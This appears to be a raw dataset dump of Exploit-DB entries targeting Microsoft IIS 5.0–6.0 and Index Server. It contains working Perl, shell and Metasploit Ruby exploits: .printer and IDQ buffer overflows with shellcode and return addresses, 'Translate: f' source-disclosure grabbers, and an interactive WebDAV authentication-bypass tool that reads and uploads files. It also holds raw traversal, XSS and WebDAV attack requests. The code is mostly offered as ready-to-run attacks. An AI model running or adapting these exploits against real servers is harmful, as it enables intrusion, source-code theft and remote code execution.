deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20815
Description: Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2001-05-01
Author: storm

Exploit:
#source: https://www.securityfocus.com/bid/2674/info

#Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.

#* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

#!/usr/bin/perl
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol 
# This code was written after eEye brought this issue in BugTraq.


use Socket;


print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";

if (not $ARGV[0]) {
	print qq~
 		Usage: webexplt.pl <host>
	~; 
exit;}


$ip=$ARGV[0];

print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";

if (not @results) {
	print "The Machine tested has the IPP Vulnerability!";
}
print @results;

sub sendexplt {
        my ($pstr)=@_; 
	$target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              
		$|=1;
                print $pstr;            
		my @in=<S>;
   	        select(STDOUT);
	        close(S);
                return @in;
        } else { die("Can't connect...\n"); }
}
Exploit-DB #20818
Description: Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (4)
Type: remote
Platform: windows
Date: 2001-05-01
Author: Cyrus The Great

Exploit:
source: https://www.securityfocus.com/bid/2674/info
  
Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.
  
* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20818.zip
Exploit-DB #21385
Description: Microsoft IIS 5.0 - 'CodeBrws.asp' Source Code Disclosure
Type: remote
Platform: windows
Date: 2002-04-16
Author: H D Moore

Exploit:
source: https://www.securityfocus.com/bid/4525/info

Microsoft IIS 5.0 ships with a sample script that may be used to view the source code of other scripts in the sample scripts (/IISSAMPLES) directory. However, this script (CodeBrws.asp) does not adequately filter unicode representations of directory traversals. For example, an attacker can break out of the sample script directory by substituting '%c0%ae%c0%ae' for '..' in a dot-dot-slash directory traversal attack.

It has been demonstrated that this issue may be exploited to map out the directory structure of the filesystem on a host running the vulnerable script.

http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp

The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp

Response: Microsoft VBScript runtime (0x800A004C) Path not found

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp

Response: Microsoft VBScript runtime (0x800A0035) File not found
Exploit-DB #20151
Description: Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (1)
Type: remote
Platform: windows
Date: 2000-08-14
Author: smiler

Exploit:
source: https://www.securityfocus.com/bid/1578/info

Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.

It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.

#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 =
using a shared drive but I haven=B4t tested it yet.
# Get the source code of any script from the server using this exploit.
# This code was written after Daniel Docekal brought this issue in =
BugTraq.
# Cheers 351 and FractalG :)

if (not $ARGV[0]) {
print qq~
Geee it=B4s running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl =
http://www.victim.com/default.asp > file_to_save
~; exit;}


$victimurl=$ARGV[0];

         # Create a user agent object
         use LWP::UserAgent;
         $ua = new LWP::UserAgent;

        # Create a request
        my $req = new HTTP::Request GET => $victimurl . '\\'; # Here =
is the backslash at the end of the url ;)
        $req->content_type('application/x-www-form-urlencoded');
        $req->content_type('text/html');
        $req->header(Translate => 'f'); # Here is the famous translate =
header :))
        $req->content('match=www&errors=0');

         # Pass request to the user agent and get a response back
         my $res = $ua->request($req);

         # Check the outcome of the response
         if ($res->is_success) {
             print $res->content;
         } else {
             print $res->error_as_HTML;
         }
Exploit-DB #20152
Description: Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (2)
Type: remote
Platform: windows
Date: 2000-08-14
Author: Roelof Temmingh

Exploit:
source: https://www.securityfocus.com/bid/1578/info
 
Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.
 
It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.


#!/usr/bin/perl
use Socket;

####test arguments
if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";}
#####load values
$host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1];
#####build request
$xtosend=<<EOT
GET /$toget\\ HTTP/1.0
Host: $host
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f

EOT
;
$xtosend=~s/\n/\r\n/g;
####send request
#print $xtosend;
my @results=sendraw($xtosend);
print  @results;
#### Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;
                        print STDOUT "." if(defined $args{X});}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
Exploit-DB #14179
Description: Microsoft IIS 5.0 - Authentication Bypass (MS10-065)
Type: remote
Platform: windows
Date: 2010-07-02
Author: Soroush Dalili

Exploit:
MS10-065 - Directory Authentication Bypass Vulnerability

Description:
This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS
authentication methods can be circumvented. In this technique, we can add a “:$i30:$INDEX_ALLOCATION” to a directory name to bypass the authentication.

Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14179.pdf (IIS5.1_Authentication_Bypass.pdf)
Exploit-DB #23490
Description: Microsoft IIS 5.0 - Failure To Log Undocumented TRACK Requests
Type: remote
Platform: windows
Date: 2003-12-29
Author: Parcifal Aertssen

Exploit:
source: https://www.securityfocus.com/bid/9313/info

A vulnerability has been reported to affect Microsoft IIS. It has been reported that IIS fails to log HTTP TRACK calls made to the affected server. A remote attacker may exploit this condition in order to enumerate server banners. 

TRACK / HTTP/1.0 [\r\r]
Exploit-DB #21910
Description: Microsoft IIS 5.0 - IDC Extension Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-10-05
Author: Roberto

Exploit:
source: https://www.securityfocus.com/bid/5900/info

A vulnerability in Microsoft Internet Information Server (IIS) may make cross-site scripting attacks possible.

When IIS receives a request for an .idc file, the server typically returns a 404 message when the page does not exist. However, when a request containing a long URL and ending in the .idc extension is received by IIS, the entire contents of the URL are returned on the error page without the sanitizing of input. This could result in the execution of arbitrary script code. 

http://www.example.com/<long_buffer><script_to_execute>.idc
Exploit-DB #16472
Description: Microsoft IIS 5.0 - IDQ Path Overflow (MS01-033) (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: ms01_033_idq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the IDQ ISAPI handler for
				Microsoft Index Server.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2001-0500'],
					[ 'OSVDB', '568'],
					[ 'MSB', 'MS01-033'],
					[ 'BID', '2880'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},

			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English SP0',     { 'Ret' => '0x6e8f3e24' } ],
					[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
				],
			'DisclosureDate' => 'Jun 18 2001',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(80)], self.class)
	end

	def exploit
		connect

		sploit =  rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
		sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
		sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
		sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)

		uri = '/' + sploit + payload.encoded

		res = "GET #{uri}\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(res)

		handler
		disconnect
	end

end
Exploit-DB #19152
Description: Microsoft IIS 5.0 - IISAPI Extension Enumerate Root Web Server Directory
Type: remote
Platform: windows
Date: 1999-01-26
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/194/info

A GET request that specifies a nonexistent file with an IISAPI-registered extension (ie .pl, .idq) will cause the IIS server to return an error message that includes the full path of the root web server directory.

This can happen if the file is referenced as the target of the GET or passed in a variable to a script that looks for the file.

Example:

CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Can't open perl script "C:\InetPub\scripts\ bogus.pl": No such file or directory
Exploit-DB #20269
Description: Microsoft IIS 5.0 - Indexed Directory Disclosure
Type: remote
Platform: windows
Date: 2000-10-04
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/1756/info

If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit.

Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords.

The Index Server is disabled by default in IIS 5.0 and only directories that have the 'Index' property set are affected by this vulnerability. 

SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>
Exploit-DB #16469
Description: Microsoft IIS 5.0 - Printer Host Header Overflow (MS01-023) (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ms01_023_printer.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS 5.0 Printer Host Header Overflow',
			'Description'    => %q{
					This exploits a buffer overflow in the request processor of
				the Internet Printing Protocol ISAPI module in IIS. This
				module works against Windows 2000 service pack 0 and 1. If
				the service stops responding after a successful compromise,
				run the exploit a couple more times to completely kill the
				hung process.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2001-0241'],
					[ 'OSVDB', '3323'],
					[ 'BID', '2674'],
					[ 'MSB', 'MS01-023'],
					[ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 900,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Windows 2000 English SP0-SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x732c45f3,
						},
					],
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'May 1 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end


	def check
		connect
		sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

		if !(resp and resp =~ /Error in web printer/)
			return Exploit::CheckCode::Safe
		end

		connect
		sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
		resp = sock.get_once
		disconnect

		if (resp and resp =~ /locked out/)
			print_status("The IUSER account is locked out, we can't check")
			return Exploit::CheckCode::Detected
		end

		if (resp and resp.index("HTTP/1.1 500") >= 0)
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		buf = make_nops(280)
		buf[268, 4] = [target.ret].pack('V')

		# payload is at: [ebx + 96] + 256 + 64
		buf << "\x8b\x4b\x60"        # mov ecx, [ebx + 96]
		buf << "\x80\xc1\x40"        # add cl, 64
		buf << "\x80\xc5\x01"        # add ch, 1
		buf << "\xff\xe1"            # jmp ecx

		sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #4016
Description: Microsoft IIS 5.1 - Hit Highlighting Authentication Bypass
Type: remote
Platform: windows
Date: 2007-05-31
Author: Sha0

Exploit:
#!/bin/sh
#
# NTLM && BASIC AUTH BYPASS :)
#
# sha0[at]badchecksum.net
# Based on my adv: https://www.securityfocus.com/bid/24105/info   (CVE-2007-2815)

if [ $# != 2 ]
then
        printf "USAGE:\t\t$0 <Site> <Protected Object>\nExample:\t$0 http://www.microsoft.com  /en/us/default.aspx\n\n";
        exit 0
fi

site=$1
protectedObject=$2
evil=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&CiRestriction=b&CiHiliteType=full'
lynx -dump $evil

# milw0rm.com [2007-05-31]
Exploit-DB #26230
Description: Microsoft IIS 5.1 - WebDAV HTTP Request Source Code Disclosure
Type: remote
Platform: windows
Date: 2005-09-04
Author: Inge Henriksen

Exploit:
source: https://www.securityfocus.com/bid/14764/info

Microsoft IIS is reportedly affected by a remote script source disclosure vulnerability.

A successful attack causes the Web server to present the requested file as a plain text file and subsequently disclosing the source.

It should be noted that this issue only presents itself when the requested files are stored on a FAT or FAT32 volume and does not arise if the script files are stored on a NTFS volume.

Microsoft IIS 5.1 is vulnerable to this issue.

GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.example.com
Connection: Close
Exploit-DB #8806
Description: Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)
Type: remote
Platform: windows
Date: 2009-05-26
Author: ka0x

Exploit:
#!/usr/bin/perl -W
#
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# Advisory: http://www.milw0rm.com/exploits/8765
#
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!

use IO::Socket ;

my ( $host, $path ) = @ARGV ;
my $port = 80 ; # webserver port

&usage unless $ARGV[1] ;

$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;
$path =~ s/\/// if(substr($path, 0,1) eq '/');

sub _file {
	$file = shift ;
	open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;
	while( <FILE> ){
		$cont .= $_ ;
	}
	close(FILE) ;
	return $cont ;
}


print "write 'help' for get help list\n";


while( 1 ) {

	my $sock = IO::Socket::INET->new (PeerAddr => $host, 
					PeerPort => $port,
					Proto    => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ;
	print "\$> ";
	chomp( my $option = <STDIN> ) ;
	last if $option eq 'quit' ;

	if($option eq 'source') {
		$path =~ s/\//%c0%af\// ; 
		print $sock "GET /".$path." HTTP/1.1\r\n" ; 
		print $sock "Translate: f\r\n" ;
		print $sock "Host: ".$host."\r\n" ;
		print $sock "Connection: close\r\n\r\n" ;

		while(<$sock>){
			print $_ ;
		}
		close($sock) ;
	}


	elsif($option eq 'path') {
		$path =~ s/\//%c0%af\// ;
		print $sock "PROPFIND  /".$path." HTTP/1.1\r\n" ;
		print $sock "Host: ".$host."\r\n" ;
		print $sock "Connection:close\r\n" ;
		print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
		print $sock "Content-Length: 0\r\n\r\n" ;
		print $sock  '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ;

		while(<$sock>){
			print $_ ;
		}
		close($sock) ;
	}


	elsif($option eq 'put') {
		$path =~ s/\//%c0%af\// ;
		print "[*] Insert a local file (ex: /root/file.txt): " ;
		chomp( $local = <STDIN> ) ;
		$file_l = _file( $local ) ;
		print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ;
		print $sock "Host: ".$host."\r\n" ;
		print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
		print $sock "Connection:close\r\n" ;
		print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ;
		print $sock $file_l,"\r\n" ;

		while(<$sock>){
			print $_ ;
		}
		close($sock) ;
	}

	elsif($option eq 'help') {
		print "\n\t\t- OPTIONS -\n\n\n" ;
		print "\thelp\t\tgive this help list\n" ;
		print "\tsource\t\tget file content\n" ;
		print "\tpath\t\tget directory contents\n" ;
		print "\tput\t\tput file\n" ;
		print "\tquit\t\texit exploit\n\n" ;
	}
	
}

sub usage {
	print << 'EOH' ;

  $ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
  $ written by ka0x <ka0x01[at]gmail.com>
  $ 25/05/2009

usage:
   perl $0 <host> <path>

example:
   perl $0 localhost dir/
   perl $0 localhost dir/file.txt

EOH

	exit;
}
	
	


__END__

# milw0rm.com [2009-05-26]
Exploit-DB #19830
Description: Microsoft Index Server 2.0 - '%20' ASP Source Disclosure
Type: remote
Platform: windows
Date: 2000-03-31
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/1084/info

Index Server can be used to cause IIS to display the source of .asp and possibly other server-side processed files.

By appending a space (%20) to the end of the filename specified in the 'CiWebHitsFile' variable, and setting 'CiHiliteType' to 'Full' and 'CiRestriction' to 'None', it is possible to retrieve the unprocessed source of the file.

This is possible on any machine with Index Server installed, even those with no normal .htw files, because the virtual file null.htw is stored in memory and the .htw extension is mapped by default to webhits.dll . 

Requesting a URL like the following will return the source of default.asp on a vulnerable system:

http://target/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full